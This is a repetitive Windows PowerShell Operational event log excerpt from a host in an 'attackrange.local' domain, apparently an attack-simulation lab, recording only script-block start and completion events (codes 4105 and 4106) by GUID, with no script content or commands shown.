SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043345
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043344
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043343
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043342
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043326
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043325
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043320
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043319
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
